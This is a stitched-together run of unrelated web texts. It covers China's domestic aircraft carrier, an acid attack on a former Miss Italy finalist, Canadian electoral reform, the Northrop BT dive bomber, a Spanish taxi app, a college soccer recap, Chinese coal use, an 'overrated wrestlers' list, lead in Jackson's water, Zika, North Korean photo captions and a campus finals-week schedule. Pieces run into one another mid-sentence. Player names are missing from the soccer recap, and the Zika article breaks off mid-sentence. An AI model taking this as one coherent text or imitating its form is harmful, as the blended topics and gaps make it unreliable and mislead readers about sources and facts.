China’s intent to start its own domestic carrier program has been hinted at in official documents and scattered state-controlled press reports but the central government and the PLAN have been far from explicit in expressing a complete carrier vision.
If the construction of the first domestic carrier has commenced it confirms the rough outline naval analysts have constructed around the effort.
“For the past several years, analysts have believed that China plans for a force of around four full-sized aircraft carriers — including the active Liaoning,” Eric Wertheim author of U.S. Naval Institute’s Combat Fleets of the World told USNI News on Wednesday..
“If the hull now under construction does in fact turn out to be a new Chinese aircraft carrier being built at Dalian shipyard, it confirms the PLAN’s commitment to carrier based naval aviation and illustrates their growing desire for more power projection capabilities.”
The first public inkling China was set on creating a a domestically-built carrier fleet emerged about five years ago as a minor footnote to a voluminous 2010 Ocean Development Report.
“In 2009, China put forward an idea and plan for building aircraft carriers. These indicate China has entered the historical era of building a maritime superpower,” read a translation of the report.
The buried reference came two years before China commissioned Liaoning.
In early 2014 a hastily deleted report in Chinese state-controlled media quoted a regional official saying the PLAN had their sights set on four carriers.
Four carriers would mimic the U.S. legacy deployment model for carriers —one carrier deployed for three in training or maintenance. It wouldn’t be the first time China has operated like the U.S. The PLAN has borrowed several other carrier tropes from the West down to dressing Liaoning’s flight deck sailors in the same corresponding bright colors as the U.S. Navy.
While the ship in the Dalian dry dock is — with infinitesimal doubt — the Type 001A domestic carrier, several questions remain as to what features the new carrier will bring.
Liaoning has been an effective tool for Chinese blue-water navy aspirational messaging but it’s less effective as an actual warship. The combination of the skip-jump configuration of the carrier’s flight deck and the reportedly underpowered engines of the Shenyang J-15 Flying Shark fighter have led to assumptions that the J-15s would only be able to launch from Liaoning with a limited lethal payload — if any weapons at all.
China would be able to mitigate some of the J-15 weight issues with a catapult- assisted take-off but arrested recovery (CATOBAR) system on its future carriers, however its unclear is China has the technical wherewithal to include the scheme on its ships or if the Kuznetsov design could be modified to accommodate a CATOBAR system.Image copyright Mediaset Image caption Ms Notaro appeared on the Canale 5 show with talk show host Maurizio Costanzo
A former Miss Italy finalist has gone on national TV three months after acid was thrown in her face, allegedly by an ex-boyfriend.
Gessica Notaro, 27, was badly scarred and is in danger of losing the sight of an eye. Her former boyfriend is in custody.
On the TV show, to be broadcast late on Thursday, the former model took off a scarf covering her face.
"I want you to see what he did to me. This isn't love," she said.
Ms Notaro was initially told by renowned talk show host Maurizio Costanzo that she could keep the scarf on if she preferred. But she said she would rather remove it and that everyone had to see.
Image copyright Mediaset Image caption Ms Notaro's plight since the January attack has caught the public imagination
Her face has been badly disfigured and she has had several operations, including one aimed at saving the sight of her left eye, which is still bandaged.
The women fighting back after acid attacks
Ms Notaro works as a sea-lion trainer at a dolfinarium in the Adriatic resort of Rimini, She spent two months in hospital after the January attack and is now in constant pain.
Her story caught the public imagination and she has revealed her suffering on social media. She hopes to start a singing career with the launch of an album.
She broke up with her boyfriend, Jorge Edson Tavares, last summer.
After she went to police to complain that she was being stalked, a restraint order was imposed on him.
He has denied any involvement in the 10 January acid attack.
"While the acid ate away at my face I was on my knees praying," she told Maurizio Costanzo. "I prayed to God: take away my beauty but at least leave me with my sight."
For Italians, the attack is reminiscent of the case of a lawyer, Lucia Annibali. Her face was scarred when her ex-boyfriend paid two men in 2013 to throw acid in her face.
Both cases have highlighted violence against women in Italy.
Cabinet Secretary Maria Elena Boschi raised the attack on Gessica Notaro on International Women's Day (8 March).
During the recording of the talk show, Justice Minister Andrea Orlando said he would meet Ms Notaro on Thursday.Following P.E.I.'s recent plebiscite on electoral reform, some advocates for proportional representation are now turning their focus to changing the system at the federal level.
A small group gathered at the post office in Montague, P.E.I., on Tuesday, as part of a series of rallies held across the country.
They also brought their calls to Liberal MP for Cardigan Lawrence MacAulay's office.
Eliminating the current system
Michael Pagé, one of the protesters, said he is worried about the future of federal electoral reform after the Island's recent plebiscite.
"The more I look into it, the more concerned I've become," he said.
Protester, Michael Pagé, said he believes Canadians aren't being fairly represented with the current first-past-the-post voting system. (Nicole Williams/CBC News)
P.E.I.'s recent plebiscite results showed a majority of voters were in favour of eliminating the first-past-the-post system in favor of mixed member proportional representation.
However, P.E.I. Premier Wade MacLauchlan called the results "debatable," and suggested a 36.5 per cent turn out was not enough to reflect the true will of Islanders.
MacLauchlan has now tabled a motion in the legislature to have a referendum on electoral reform tied to a general election.
Focus on federal system
Pagé has turned his focus federally, and would like to see the Trudeau government move forward with mixed member proportional representation.
"The best guarantee in my opinion we have for democracy to continue to function is to have a parliament in which everyone is represented," he said.
During the election campaign, the federal Liberals promised the 2015 election would "be the last federal election conducted under the first-past-the-post voting system," and that electoral reform legislation would be enacted within 18 months of forming government.For the fictional droid in the Star Wars Universe, see BT-1 (Star Wars)
The Northrop BT was a two-seat, single-engine monoplane dive bomber built by the Northrop Corporation for the United States Navy. At the time, Northrop was a subsidiary of the Douglas Aircraft Company.
Design and development [ edit ]
The design of the initial version began in 1935. It was powered by a 700 hp (520 kW; 710 PS) Pratt and Whitney XR-1535-66 double row air-cooled radial engine and had hydraulically actuated perforated split flaps or "dive-brakes" and a landing gear that retracted backwards into fairing "trousers" beneath the wings.[1] The perforated flaps were invented to eliminate tail buffeting during diving maneuvers.[1]
The next iteration of the BT, the XBT-1, was equipped with a 750 hp (560 kW; 760 PS) R-1535. This aircraft was followed in 1936 by the BT-1, powered by an 825 hp (615 kW; 836 PS) R-1535-94 engine. One BT-1 was modified with a fixed tricycle landing gear and was the first such aircraft to land on an aircraft carrier.
BT-1 of VB-5 in 1938
The final variant, the XBT-2, was a BT-1 modified to incorporate landing gear which folded laterally into recessed wheel wells, leading edge slots, a redesigned canopy, and was powered by an 800 hp (600 kW; 810 PS) Wright XR-1820-32 radial.[1] The XBT-2 first flew on 25 April 1938 and after successful testing the Navy placed an order for 144 aircraft. In 1939 the aircraft designation was changed to the Douglas SBD-1 with the last 87 on order completed as SBD-2s. By this point, Northrop had become the El Segundo division of Douglas aircraft, hence the change.
Operational history [ edit ]
BT-1 at El Segundo
VB-5 lineup of BT-1s
The U.S. Navy placed an order for 54 BT-1s in 1936 with the aircraft entering service during 1938. BT-1s served on USS Yorktown and Enterprise. The type was not a success in service due to poor handling characteristics, especially at low speeds, "a fatal flaw in a carrier based aircraft."[2] It was also prone to unexpected rolls and a number of aircraft were lost in crashes.
Variants [ edit ]
XBT-1 Prototype, one built. BT-1 Production variant, 54 built. BT-1S A BT-1 (c/n346, BuNo 0643) was fitted with a fixed tri-cycle undercarriage. This aircraft was damaged in a crash on 6 February 1939, returned to Douglas and repaired to BT-1 standard.[1]
Comparison between the XBT-1 (BuNo 9745) and XBT-2 (BuNo 0627) on 4 December 1936
XBT-2 One BT-1 modified with fully retractable landing gear and other modifications. BT-2 Production variant of the XBT-2, 144 on order completed as SBD-1 and SBD-2. Douglas DB-19 One BT-1 (c/n346, BuNo 0643), the former BT-1S, was modified as the DB-19 which was tested by the Imperial Japanese Navy as the Douglas DXD1 (long designation - Douglas Navy Experimental Type D Attack Aircraft)[1]
Operators [ edit ]
Specifications (BT-1) [ edit ]
BT-1 modified as a testbed for tricycle landing gear
Data from United States Navy Aircraft since 1911 [3]
General characteristics
Performance
Armament
Guns: 1 ×.50 in (12.7 mm) machine gun 1 ×.30 in (7.62 mm) machine gun
Bombs: 1,000 lb (454 kg) bomb under fuselage
Notable mentions in media [ edit ]
Northrop BT-1s appeared in pre-war yellow wing paint schemes in the Technicolor film Dive Bomber (1941) starring Errol Flynn.
See also [ edit ]
Related development
Aircraft of comparable role, configuration and era
Related lists
References [ edit ]
Notes
a b c d e Rene J. Francillon (1990 ed), McDonnell Douglas Since 1920, Volume I. Annapolis, Maryland, Naval Institute Press ^ "Northrop BT-1." historyofwar.org. Retrieved: 5 December 2009.. Retrieved: 5 December 2009. ^ Swanborough and Bowers 1976, p. 358.
BibliographyTaxis lined up in Madrid. Image: Wikimedia Commons
In Spain, as in almost all other markets it has entered, Uber has faced pushback from authorities, protests by taxi drivers, and a rash of rival startups looking to get their own piece of the lucrative ride-hailing market. But the latest attempt to challenge the US company's hegemony in the taxi app market is a different beast. Perhaps realizing the difficulties in relying on regulation to keep Uber out, taxi drivers in Spain announced this week plans to create their own app.
This is not the first time taxi drivers have tried to beat Uber and its ilk at their own game. The last few years have seen a rash of rival apps brought out by taxi drivers, but this approach faces considerable challenges, not least winning over customers from big, established brands with multi-billion dollar budgets.
Spain's Fedetaxi union hopes its approach will be different. At its AGM last week, Spain's largest taxi union merged with several rivals and announced plans to form a pan-European alliance with the aim to "fight the Uber lobby in Brussels."
Union leader Miguel Ángel Leal said Fedetaxi would welcome all drivers who wanted to create a common front against the "intrusion" and "unlawful competition" of multinationals.
"Fedetaxi is home to all taxi drivers, with the exception of those who, betraying the industry and pursuing only profit, have moved to the [private chauffeur services sector]," Leal said.
If all goes to plan, the European Taxi Alliance will be up and running by December.
"We will continue working to push for regulation of taxis as a public service that doesn't strip independent drivers of their jobs and their income and deliver that which they have spent a lifetime defending to private multinationals who monopolize transport under the guise of being collaborative companies," reads a Fedetaxi press release.
For all their outrage, however, taxi drivers have struggled to halt the growth of ride-hailing apps in Spain. After spending all of 2015 banned from operating in Madrid, Uber returned to the Spanish capital this spring, though the company is limited to city center and can only employ professional drivers. Further afield, Uber's return to several high profile European cities has raised alarm, while there is increasing belief that focusing solely on efforts to regulate apps is a losing tactic.
Protests against the ride hailing app have appeared to have a negative effect, such as the 2014 London black cab strike which reportedly precipitated an 850 percent increase in signups to Uber as a result of publicity from the industrial action.
Leal is clear that the way forward is to create a professional app that can compete with market leaders.
"We need to get serious because right now with have a ton of 'apps' but none of them are competitive," he told El Confidencial last Wednesday.
The goal, according to Leal, a create something similar to My Taxi, the app owned by German carmaker Daimler. My Taxi, in contrast to Uber, works exclusively with licensed taxi drivers. After announcing plans to merge with its former rival Hailo, My Taxi looks set to dominate the European market, and has tried to court taxi drivers by positioning itself as the only alternative to Uber.
For Leal, however, the industry needs its own app if it is to avoid becoming a hostage to the strategies of large companies. My Taxi is already unpopular among some for discount strategy. In Germany earlier this year a court ruled that My Taxi's discounts for paying through the app were illegal and constituted "unfair commercial practice."
Taxi drivers in other countries appear to be coming to similar conclusions about the future of their industry. In August, Mumbai taxi drivers reportedly decided to stop industrial action in favor of creating their own app to compete with Uber.Follow Akron Men's Soccer on Twitter and Facebook Purchase 2017 Men's Soccer Season Tickets Click Here In a wild and crazy Mid-American Conference men's soccer showdown, a golden goal by redshirt junior(Asmeras, Eritrea) in the 91st minute (90:26) lifted 13th-ranked Akron (10-3-1, 2-1-0 MAC) to a 2-1 overtime triumph past Bowling Green (6-7-1, 0-2-1 MAC) on Saturday, Oct. 21, at FirstEnergy Stadium – Cub Cadet Field.The contest featured a wild finish as the final three minutes of play, including overtime, were highlighted by a goal for each side along with a trio of cards being issued, including a pair of red cards against the Falcons.Kahsay netted the game-winning tally only 26 seconds into overtime off a pair of strong passes into the box from seniors(Liverpool, England) and(Mayfield, Ohio). The goal was the second of the season for Kahsay and marked the third game-winning effort of his career.Bowling Green played the final 2:24 of regulation and overtime two men down after the Falcons were whistled for a pair of red cards resulting from a hard foul near the top of the box on freshman(Lisbon, Portugal) in the 88th minute (87:36).Despite playing a pair of men down, the Falcons garnered the equalizer at the 88:05 mark when a defensive miscue allowed Charlie Maciejwski to collect his second goal of the season off an assist from Alexis Souahy.The Zips finished the evening registering a 21-7 advantage in shots, including an 11-2 edge on shots on goal.Moutinho directed Akron's offensive attack with a game-high six shots, while contributing four shots apiece in reserve action was sophomore(Plantation, Fla.) and Gainford. Bowling Green was led by three strikes from Ebenezer Ackon.Falcons' goalkeeper Anthony Mwembia was impressive in net for Bowling Green pulling in a game-high eight saves, including five in the second half. Redshirt freshman(Seattle, Wash.) made one stop in net for the Zips.The first half proved to be a defensive battle as neither side was able to find the back of the net, despite Akron owning an 8-3 margin in shots.Redshirt junior(Willowick, Ohio) nearly gave the Zips an early 1-0 lead in the 28th minute (27:38) as only a clearance off the line by Ackon for a team save prevented the shot from finding the back of the net.Hinds added a strong scoring chance on a header at the 37:34 mark that was denied by a save from Mwembia.The Zips came out attacking to open the second half as Akron recorded six of the first seven shots on the stanza, including a trio of shots on frame by Gainford, all of which were thwarted by Mwembia saves.With nearly 18 minutes left on the second-half clock, Gainford struck a ball in from the corner that narrowly missed the diving foot of senior(Auckland, New Zealand) inside the three-yard box.The Zips finally capitalized on opportunity in the 78th minute (77:37), when a pair of quick and compact passes from senior(Porto, Portugal) and Gainford resulted in the fourth goal of the season for Hinds, a strike from the middle of the box which found the corner of the net.Akron benefitted from another strong performance in the contest from its defensive line of Moutinho, Shultz, senior(Camas, Wash.) and freshman(Lakewood, Ohio).Akron returns to action on Tuesday, Oct. 24, with the Zips stepping out of conference for a showdown at No. 17 Pittsburgh. Game time is set for 7:30 p.m.BEIJING (Reuters) - Bringing coal use to a peak by 2020 could save China billions of dollars in environmental costs, slash water consumption by nearly 30 percent and prevent tens of thousands of deaths from coal-related illnesses, a study released on Thursday said.
A woman works at a coal factory outside Hanoi, Vietnam June 16, 2015. REUTERS/Kham
China’s coal demand fell for the first time in over a decade in 2014, and production also dipped 5.8 percent in the first half of this year, largely as a result of a slowdown in major downstream sectors like power, steel and cement.
But without specific measures to rein in growth, coal consumption could continue to increase until 2030, aggravating public health risks and putting pressure on China’s already strained water supplies, experts with the Natural Resources Defense Council (NRDC), a U.S. environmental think tank, warned in a study released in Beijing on Thursday.
“If the timeline for the peak is set in 2020, it will benefit water resources, environment, public health, the transition to new energy sources and the creation of new green jobs,” the report said.
Coal accounts for more than 75 percent of China’s total power production. While some groups have forecast consumption could peak as early as 2019, both the China National Coal Association and the International Energy Agency have said that output would continue to rise well beyond 2020.
The NRDC has been collaborating with official Chinese think tanks to look at the possibility of imposing a cap on coal consumption, and will submit its findings to the government at the end of July.
It estimated that imposing a 2020 cap on coal use would save the country as much as 251 billion yuan ($40.4 billion) a year in environmental and power generation costs alone.
It would also dramatically cut airborne emissions like sulfur dioxide and nitrogen oxide, while the annual number of coal-related fatalities would fall by 48,000 by 2020, and by 89,000 by 2030.
“Business as usual” policies would see total coal consumption rising to 4.8 billion tonnes, up from 3.9 billion tonnes last year, the report said.
The extra demand would not only raise carbon emissions but also increase water use in the sector to nearly 105 billion cubic meters by 2030, 37 billion cubic meters more than the country can currently supply, it said.
China aims to cut coal consumption in Beijing and several surrounding provinces by 83 million tonnes over the 2013-2017 period, but experts have expressed concern that the failure to impose a nationwide cap will mean that production is merely shifted to western provinces.
($1 = 6.2093 Chinese yuan)If there's one thing wrestling fans love to do, it's argue about which wrestlers deserve a bigger push and which need to be cut from the show entirely. It's something that's done every time someone talks about wrestling. If you bring up Hulk Hogan with wrestling fans, half will tell you how much they love him and half will tell you that his move set consists of a leg drop, a suplex and a lot of dancing around the ring.
However, when trying to decide if a wrestler is overrated, it's important to look at the whole picture. Half of wrestling occurs when squaring off in the ring, but the other half comes with creating a believable persona that fans can relate to, in either a good or a bad way. Let's take two prime examples that are currently in the WWE, as they are eerily similar, with John Cena and The Miz. Both guys work really hard on creating a gimmick, both are great on the mic and both work really hard off camera to improve. Sure, Cena doesn't have a varied move set, but few can deny his incredible work ethic. And if you've watched Cena throughout the years, he's improved greatly. Maybe The Miz doesn't bring a lot of variety to his matches, but he always puts in a good effort and is incredible on the mic. So at least, without wrestling ability, he has half of what it takes to be a great wrestler.
So, sadly, all you Cena and Miz haters, they won't be making this list. We're looking for guys that had absolutely no ability in either regard. Guys with no ability on the mic and no ability in the ring. We greatly look forward to all angry comments about why The Miz or John Cena should be number one.
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10 Big E Langston
via tbo.com
Quickly, name your favorite Big E Langston match. Exactly, you can only remember flipping the channel. This next statement will be a huge theme throughout this article as Big E has the prototypical body of a wrestler, but he could never put the wrestling part together. The WWE has tried to push him, by putting him in feuds with The Shield and Curtis Axel, but not a soul in the world seems to care about him. He's terrible on the mic and brings a limited move set to the ring, so naturally he's not that great. Still, they gave him the Intercontinental Title and even let him hold it for 6 months. A title with so much history, wasted on Big E.
9 Jeff Hardy
via en.wikipedia.org
Growing up, my friends always gushed over Jeff Hardy, and with good reason. He was exciting, he would risk his body and he had cool body paint. However, I would always be more interested by his brother Matt, the more skilled technical wrestler. Unless you had Jeff in a match with a ladder, he was essentially useless. On top of that, he was terrible with the microphone and had out-of-ring problems that had him fired on a few different occasions.
With his daring ability, he had all the tools to put it together and become a great wrestler, but sadly he didn't.
8 Kevin Nash
via imageevent.com
To get anywhere in the world, you need to know someone in a high place. Kevin Nash knows this all too well. When he entered the WWE, he made good friends with Shawn Michaels who is rumored to have been in the ear of Mr. Vincent Kennedy McMahon. It helped push Nash, then known as Diesel, into the main card. He used that leverage to get a big money deal with WCW, where he befriended Hulk Hogan in the nWo, which again pushed him into the main card. With limited mic skills and an even more limited move set consisting of big boots, clotheslines and a powerbomb, Kevin Nash was quite simply a below average wrestler. When comparing him to his partner Scott Hall, it wasn't even close. Hall was a terrific wrestler and incredibly entertaining on the mic.
7 Ahmed Johnson
via imageevent.com
He had the look that you want in a wrestler and an incredible amount of power to back it up. The only problem is that he was unable to perform simple moves. Constantly pushed by the WWE in the mid 90s for seemingly no reason, Ahmed Johnson was incredibly clumsy in the ring. He had a reputation for injuring wrestlers with his sloppy suplexes and crunching spinebusters, making him a risk in the ring. On top of that, he was horrendous on the mic. Listening to Johnson on the mic was akin to hearing someone scratching on a chalkboard, in that you'd do anything to make it stop.
6 Brock Lesnar
via wwe.com
5 Batista
via bleacherreport.com
Bootista! He was affectionately re-named Bootista by the fans after his Royal Rumble victory this past January. WWE passed over a variety of superstars who work their butts off all year for a wrestler who comes back when he feels like it. At least a guy like The Rock or Steve Austin has worked up incredible good will with the fans, but a guy like Batista can't afford that. Everyone was so taken aback with the choice to make him win, that even CM Punk quit because of it. All in all, Batista has the look off a wrestler but has a limited move set and terrible mic skills (have you caught on to the theme yet?). Just catch his final promo where he quit Evolution and the WWE, it was horrendous. He's a power wrestler who needs to be in a stable to look useful because all he brings is a suplex, a spinebuster and a power bomb. He has no ability to effectively tell a story in the ring and needs to be carried through matches by stronger wrestlers.
4 Lex Luger
via allwrestlingsuperstars.com
Out of all the wrestlers who look the part but can't wrestle, Lex Luger tops the list. He looked better fit to be a bodybuilder than a wrestler as he was incredibly stiff in the ring. It was as if he was a plastic Mattel wrestling toy that you used as a kid in the ring. The only thing that was more boring than watching his matches, was listening to him talk before the match. A lot of people think that he's very similar to The Ultimate Warrior, in that he has the look, but no in-ring ability. However, at least Warrior had a persona (albeit a crazy one). Luger was vanilla, and not in an interesting way. He went over to WCW after stinking in the WWE and guess what? He stunk there too.
3 Sycho Sid
via scifighting.com
The most memorable thing that Sycho Sid or Sid Vicious has ever done in professional wrestling is crap himself at WrestleMania 13 versus The Undertaker. Well, that's more of a rumor, but hilarious nonetheless. Sid was lucky to come along at a time where the WWE lacked big men other than The Undertaker. The similarly overrated Diesel had just moved to WCW and Sid took his spot as the top big man to face The Undertaker. What did we get? We got a lackluster move set, awkward mic skills and one of Undertaker's worst WrestleMania match of all time, by my standards.
2 Scott Steiner
via sheriheadleynetwork.ning.com
Pre-steriods Steiner was a very decent wrestler. Post Steriods? One of the worst things you'll ever watch in your life. Seriously. Rewatch the worst movie you've ever seen and then watch Steiner's match versus Triple H at No Way Out in 2003. Not even The King of Kings could carry him through the match. He's often out of breath, sloppy in the ring and has a moveset that consists of showing incredible power every 5-10 minutes. After he shows that power, he needs a quick breather. Also, put him on the mic and you get some of the most confusing rants of all time. And not in a cool way like with The Ultimate Warrior.
Big Poppa Pump should've stayed with his brother Rick as a useful tag team, rather than whatever he's become now.
1 Goldberg
via alittleboysblog2.ru
Honestly, I much preferred Gillberg over Goldberg. At least he was trying to be different. We can legitimately write an article about why Goldberg sucks, but let's try to keep it short and sweet. He offered very little other than a streak where he beat a lot of jobbers. Now, we'll admit that the streak was a very cool idea, but what happens after the streak is what makes him overrated. Rather than try to help put other wrestlers over, he would refuse to lose matches to the point where he would rather not fight at all. On top of that, what did he provide in the ring? A few kicks, a jackhammer and a spear? And on the mic? Even less.
As WCW's answer to a character like Stone Cold, Goldberg fell flat after his streak. If you want to see one of the worst matches of all time, look no further than WrestleMania 20, where Goldberg fought Brock Lesnar in the battle of huge guys who can't wrestle.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Feb. 24, 2016, 10:51 PM GMT / Updated Feb. 26, 2016, 1:36 AM GMT By Tracy Connor and Stephanie Gosk
Mississippi authorities warned Wednesday that pregnant women and young children in the city of Jackson should not drink unfiltered tap water because high levels of lead have been found.
Officials in the city of 173,000 took pains to downplay any comparisons to the poisoning crisis in Flint, Michigan, which went undetected for many months, triggered a state of emergency and put a national spotlight on water safety.
"We're not just like Flint," said Sheila Byrd, a spokeswoman for Jackson's mayor.
In Jackson, of 100 homes tested last month, 11 had lead levels higher than 15 parts per billion — the point at which federal regulators say action must be taken.
Fifty-eight of those homes had actually been tested previously, back in June. But the state Health Department didn't analyze the results and tell the city some were well above the action level until January.
"Nobody flagged it," Health Department spokeswoman Liz Sharlot told NBC News. "Now we are going to be looking at them on a weekly basis."
Her agency issued a set of precautions that will stay in effect for six months while the city takes steps to stop its water from corroding pipes and leaching lead into the system.
She said recommendations were made out of a "abundance of caution" and were not mandated by the Centers for Disease Control and Environmental Protection Agency.
"We have not seen any elevated blood levels in our children," Sharlot said.
Nevertheless, expectant mothers and children age 5 and younger are being told to stick to bottled or filtered water for drinking and cooking.
And households were instructed not to use to hot water for drinking or cooking and to run their cold water taps for one to two minutes to reduce possible lead levels.
Water flows from a bathroom tap. Getty Images
The state said its WIC program would provide bottled water and ready-to-feed baby formula to families below the poverty line.
City Council member DeKeither Stamps said that since the lead levels were disclosed, he has been pushing Jackson to declare a state of emergency — to get help evaluating the scope of the problem, provide bottled water and filters, and help homeowners remove lead from their plumbing.
"I'm trying to ring the bell that we have issues here as well," Stamps said.
He said that two weeks ago, students from Tougaloo College loaded up an 18-wheeler with water for Flint.
"I could have given them the names of some people in South Jackson who need it," he said.
Of the 58 homes tested in June, 13 had lead higher than 15 ppb, topping out at 128 ppb. In the second round of testing in January, all but two of the 13 dropped below the action level. It's unclear why they dropped, but the state said the water source for some of the homes had changed in the interim.
Nine new homes in the second round were found to be above the action level, though none were higher than 16 ppb, Sharlot said.
The state wants to see Jackson improve its corrosion control so that its water chemistry is consistent.
"It's not an easy fix," Sharlot said.
In the meantime, officials are recommending all children age six and under get tested for lead. Experts agree there is no safe level of lead exposure.The Zika virus was declared a global emergency earlier this week by the World Health Organization (WHO) and it turns out El Niño may be helping spread the virus.
El Niño may be helping spread Zika virus, here's how
Find Your Forecast Search for a location
Leeanna McLean
Digital Reporter
Friday, February 5, 2016, 3:53 PM - In a year dominated by El Niño headlines, it now appears that the famed warming weather pattern could be helping to spread the deadly Zika virus, an emerging mosquito-borne disease the World Health Organization (WHO) declared a global emergency earlier this week.
The origins of Zika
Zika was first discovered in the 1940s and it occurs in tropical areas with large mosquito populations. It is known to circulate in Africa, the Americas, Southern Asia and Western Pacific. However, since 2013 the number of cases have multiplied, spreading to 14 different Latin American countries. Mexico and southern United States have been added to the mix with cases confirmed in Florida and Texas.
In Canada there have been four confirmed cases of Zika virus – two people in British Columbia, one in Alberta and a newly diagnosed case in Quebec, according to Canada’s chief public health officer.
The virus is transmitted by mosquitos, specifically two species: Aedes albopictus and Aedes aegypti which are both responsible for spreading dengue, chikungunya and yellow fever.
Albopictus has been found in the southern U.S., including Texas and Florida and have been moving forward, according to Mark Ardis, scientific advisor with G.D.G. Canada. The organization conducts biological control of biting insects and also performs actions to prevent the spread of mosquito-borne diseases such as the West Nile virus.
“The mosquitoes are not in Canada yet. There hasn’t been anything found in any trappings in Ontario and Quebec that I know of,” Ardis told The Weather Network. “There is a sense of relief knowing that we don’t have the mosquitoes that are vectors for the disease.”
One major concern is that the virus can be transmitted sexually as well.
The first known case of Zika transmission was recently identified in the continental U.S., with it being reported in Dallas where local health officials say it was likely contracted through sexual intercourse and not a mosquito bite.
In some cases the virus has been linked to babies born with abnormally small heads and birth defects, including developmental delays, hearing loss and intellectual disabilities.
Scientists are still studying the possibility the virus could be sexually transmitted as there are many unanswered questions including, how long the virus persists in semen or whether it's possible for women to spread Zika sexually.
Why hasn’t both species of mosquitoes been found in Canada? Simply because they cannot survive Canadian winters. In addition, the average mosquito does not fly long distances, usually only between 2 and |
Korean leader is seen watching his 'elite fighting force' on a military training exercise in photos released today The Rodong Sinmun - the official mouthpiece of the ruling Workers' Party - carried several photos from the contest showing firefight excercises Yesterday Kim oversaw a commando operation in which special forces dropped from light transport planes 'like hail' and'mercilessly blew up enemy targets' Kim praised his troops for their precision in the training exercise (pictured), saying 'the bullets seemed to have their own eyes', state news agency KCNA said
US military officials fear North Korea has placed a nuclear test in a tunnel with the potential to detonate it on Saturday. Pictured: North Korean leader Kim Jong Un (left) flanked by vice-chairman of the State Affairs Commission Choe Yong-Hae at an opening ceremony for 'Rymoyong street', a new housing development in Pyongyang todayName Date Start time End time Location Description
Study Space @ McComas Dec. 4 4:30 p.m. 7 p.m. 143 McComas Hall Study Hall: tables, chairs, plugs
Free Chair Massages Dec. 5 10 a.m. 2 p.m. McComas Gym Free Chair Massages by Relax Blacksburg. Brought to you by Hokie Wellness.
Finals Extravaganza Dec. 5 10 a.m. 2 p.m. McComas Gym Snacks, Crafts, Chair Massages, Moose the Therapy Dog and a Chance to Win an Amazon Echo Dot
SGA Reading Day Dec. 5 9 a.m. 7 p.m. Old Dominion Ballroom Reading Day with SGA is back as a place for students to study and prepare for the end of the semester. On Wednesday, Dec. 5th (9 a.m.-7 p.m.) and Thursday, Dec 6th at 9 a.m.- Friday, Dec 7th at 5 p.m., Old Dominion Ballroom is open to all students with tables, chairs, and ample electrical outlets provided. There will be coffee, snacks, and de-stress giveaways through the event, so be sure to stop by. While finals time may be stressful, come on out, get your work done, and study on at Reading Day with SGA! For more information check out the SGA Facebook and Twitter (@vtsga).
Floating into Finals Dec. 5 7 p.m. 9 p.m. McComas Pool Come float away all your exam stress with us! We will have floats, relaxing lighting and music to help you take a mental break from all your studying. Drop in anytime for this free event!
Late Night Breakfast Dec. 6 10:30 p.m. 12:30 a.m. Owens Food Court All-you-care-to-eat breakfast,$8.60 cash/credit/dining dollars/hokie passport or $4.30 flex
Study Space @ McComas Dec. 6 6 a.m. 8 p.m. 143 McComas Hall Study Hall: tables, chairs, plugs
Study @ Squires Dec. 6 8 p.m. 10 p.m. Squires Student Center Squires will be open 24-hours each day/evening, open study space, free coffee/snacks, a stress-relieving activity each evening including yoga, stress ball making, therapy animals, and an art project
Study Space @ Holtzman Alumni Center Dec. 6 8 a.m. 4:30 p.m. Holtzman Alumni Center Assembly Hall, open space for students to study
Free Chair Massages Dec. 6 3 p.m. 7 p.m. Newman Library Free Chair Massages by Relax Blacksburg. Brought to you by Hokie Wellness.
SGA Reading Day Dec. 6 9 a.m. (12/6) 5 p.m. (12/07) Old Dominion Ballroom Reading Day with SGA is back as a place for students to study and prepare for the end of the semester. On Wednesday, Dec. 5th (9 a.m.-7 p.m.) and Thursday, Dec 6th at 9 a.m.- Friday, Dec 7th at 5 p.m., Old Dominion Ballroom is open to all students with tables, chairs, and ample electrical outlets provided. There will be coffee, snacks, and de-stress giveaways through the event, so be sure to stop by. While finals time may be stressful, come on out, get your work done, and study on at Reading Day with SGA! For more information check out the SGA Facebook and Twitter (@vtsga).
Study Space @ McComas Dec. 7 6 a.m. 8 p.m. 143 McComas Hall Study Hall: tables, chairs, plugs
Study @ Squires Dec. 7 8 p.m. 10 p.m. Squires Student Center Squires will be open 24-hours each day/evening, open study space, free coffee/snacks, a stress-relieving activity each evening including yoga, stress ball making, therapy animals, and an art project
SGA Reading Day Dec. 7 9 a.m. (12/6) 5 p.m. (12/07) Old Dominion Ballroom Reading Day with SGA is back as a place for students to study and prepare for the end of the semester. On Wednesday, Dec. 5th (9 a.m.-7 p.m.) and Thursday, Dec 6th at 9 a.m.- Friday, Dec 7th at 5 p.m., Old Dominion Ballroom is open to all students with tables, chairs, and ample electrical outlets provided. There will be coffee, snacks, and de-stress giveaways through the event, so be sure to stop by. While finals time may be stressful, come on out, get your work done, and study on at Reading Day with SGA! For more information check out the SGA Facebook and Twitter (@vtsga).
Study @Squires: Free Yoga Class Dec. 7 9 p.m. 10 p.m. Squires - Williamsburg Room Free Yoga class for anyone to join, no preregistration necessary
Study @ Squires Dec. 9 8 p.m. 10 p.m. Squires Student Center Squires will be open 24-hours each day/evening, open study space, free coffee/snacks, a stress-relieving activity each evening including yoga, stress ball making, therapy animals, and an art project
Scoop and Score Dec. 10 9 p.m. 11 p.m. D2 at Dietrick Hall late night ice cream social, free to dining plan holders
Study Space @ McComas Dec. 10 6 a.m. 8 p.m. 143 McComas Hall Study Hall: tables, chairs, plugs
Study @ Squires Dec. 10 8 p.m. 10 p.m. Squires Student Center Squires will be open 24-hours each day/evening, open study space, free coffee/snacks, a stress-relieving activity each evening including yoga, stress ball making, therapy animals, and an art project
Free Chair Massages Dec. 10 3 p.m. 7 p.m. Newman Library Free Chair Massages by Relax Blacksburg. Brought to you by Hokie Wellness.
Free Yoga Flow class Dec. 10 5:15 p.m. 6:15 p.m. Library multipurpose room
Study Space @ McComas Dec. 11 6 a.m. 8 p.m. 143 McComas Hall Study Hall: tables, chairs, plugs
Study Space @ McComas Dec. 12 6 a.m. 8 p.m. 143 McComas Hall Study Hall: tables, chairs, plugs
Free Tea and Study Space @ The Gallery Dec. 6-10 12 p.m. 9 p.m. Perspective Gallery Free Tea Study Area in gallery
Sketch & Stretch Pop Up Event Dec. 7-10 Squires Open Hours during exam Perspective Gallery Hallway Sketch and Stretch Pop Up Art Event
Free fitness classes Dec. 7-12 McComas/War Memorial Visit here for more info
